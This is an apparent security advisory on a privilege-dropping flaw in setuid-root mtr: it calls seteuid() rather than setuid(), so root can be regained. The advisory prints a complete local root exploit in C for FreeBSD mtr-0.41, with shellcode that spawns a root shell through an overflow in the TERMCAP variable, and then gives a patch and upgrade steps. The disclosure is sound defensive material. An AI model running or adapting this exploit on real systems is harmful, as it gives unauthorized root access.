COMMAND
mtr
SYSTEMS AFFECTED
All known versions of mtr installed setuid-root on most UNIX-dialects except HPUX.
PROBLEM
Viktor Fougstedt found following. mtr-0.28 seems to be a
standard package in some Linux distributions, but it is not known
whether it is installed setuid-root. Since mtr must open a raw
socket, it needs root privileges, and must be setuid-root if
ordinary users are going to be able to use it. Contrary to what
the mtr documentation claims, mtr does not properly drop root
privileges. If it is installed setuid-root, which the
documentation suggests, the entire program effectively runs as
root, including all parts of Gtk, Gdk, glib and curses that the
program uses.
According to the file called SECURITY in mtr's source distribution
mtr opens a raw socket pair, and then drops root privileges. Thus,
no Gtk/curses/mtr code should ever execute with more privileges
than the access to the raw sockets. Unfortunately, mtr only does
a seteuid(), and not a full setuid() when attempting to drop root
privs. seteuid() _only_ affects the effective uid of the process,
and the saved uid is therefore still 0 after this call. When a
process has saved uid 0, it may issue a setuid(0) to regain full
root privileges (i.e. real and effective uid 0). A malicious user
that manages to take control over mtr (perhaps through gtk or
curses) can thus execute arbitrary code as root, by simply calling
setuid(0) first.
Had setuid() been used instead of seteuid(), the saved uid would
also have been affected, and a call to setuid(0) would fail, i.e.
the process would not be able to regain root privileges.
This behaviour of seteuid() is well documented in, for example,
Advanced Programming in the UNIX Environment by W. Richard
Stevens, as well as Solaris' manpages, and has been confirmed
practically. Taking control over mtr is a question of, for
example, finding a buffer overrun in mtr, Gtk, Gdk, glib or
curses/ncurses. Since the saved uid survives across fork() and
exec(), any buffer overrun or similar bug in mtr is just as bad
as if mtr had never done the seteuid() at all.
The mtr code uses setuid() on HPUX, which according to the
comments in the mtr code doesn't have the seteuid() call. It
does seteuid() on all other systems though. It is unclear why
the mtr authors favoured seteuid() before setuid() on platforms
that have it.
Here's exploit for FreeBSD's mtr-0.41 sent by Przemyslaw Frasunek:
/* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */
/* freebsd mtr-0.41 local root exploit */
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define BUFSIZE 10000
#define ADDRS 1200
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
//seteuid(0);
"\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
//setuid(0);
"\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
//execl("/bin/sh", "sh", 0);
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char buf[BUFSIZE+ADDRS+1], *p;
int noplen, i, ofs;
long ret, *ap;
if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }
ofs = atoi(argv[1]);
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
setenv("EGG", buf, 1);
p = buf;
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "ret: 0x%x\n", ret);
setenv("TERMCAP", buf, 1);
execl("/usr/local/sbin/mtr", "mtr", 0);
return 0;
}
SOLUTION
Do not run mtr setuid-root until patched. The remedy to this
problem is very simple: the call to seteuid() should be replaced
with a call to setuid(). Apply the following diff to mtr.c in
the mtr distribution.
161c161
< if(seteuid(getuid())) {
---
> if(setuid(getuid())) {
mtr-0.42 is now out and it addresses this issue. For Turbo Linux:
rpm -Uv ftp://ftp.turbolinux.com/pub/updates/6.0/security/mtr-0.42-1.i386.rpm
The source rpm can be downloaded here:
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/mtr-0.42-1.src.rpm
Note: You must rebuild and install the rpm if you choose to
download and install the srpm. Simply installing the srpm alone
WILL NOT CLOSE THE SECURITY HOLE.
For FreeBSD:
1) Remove the mtr port if you have installed it.
2) Disable the setuid bit - run the following command as root:
chmod u-s /usr/local/sbin/mtr
This will mean non-root users cannot make use of the
program, since it requires root privileges to properly run.
So, solution it would be:
1) Upgrade your entire ports collection and rebuild the mtr
port.
2) Reinstall a new package obtained from:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/mtr-0.42.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/net/mtr-0.42.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/net/mtr-0.42.tgz
3) download a new port skeleton for the mtr port from:
http://www.freebsd.org/ports/
and use it to rebuild the port.
4) Use the portcheckout utility to automate option (3) above.
The portcheckout port is available in
/usr/ports/devel/portcheckout or the package can be
obtained from:
ftp://ftp.freebsd.org/pub/FreeBSD/ports/packages/devel/portcheckout-1.0.tgz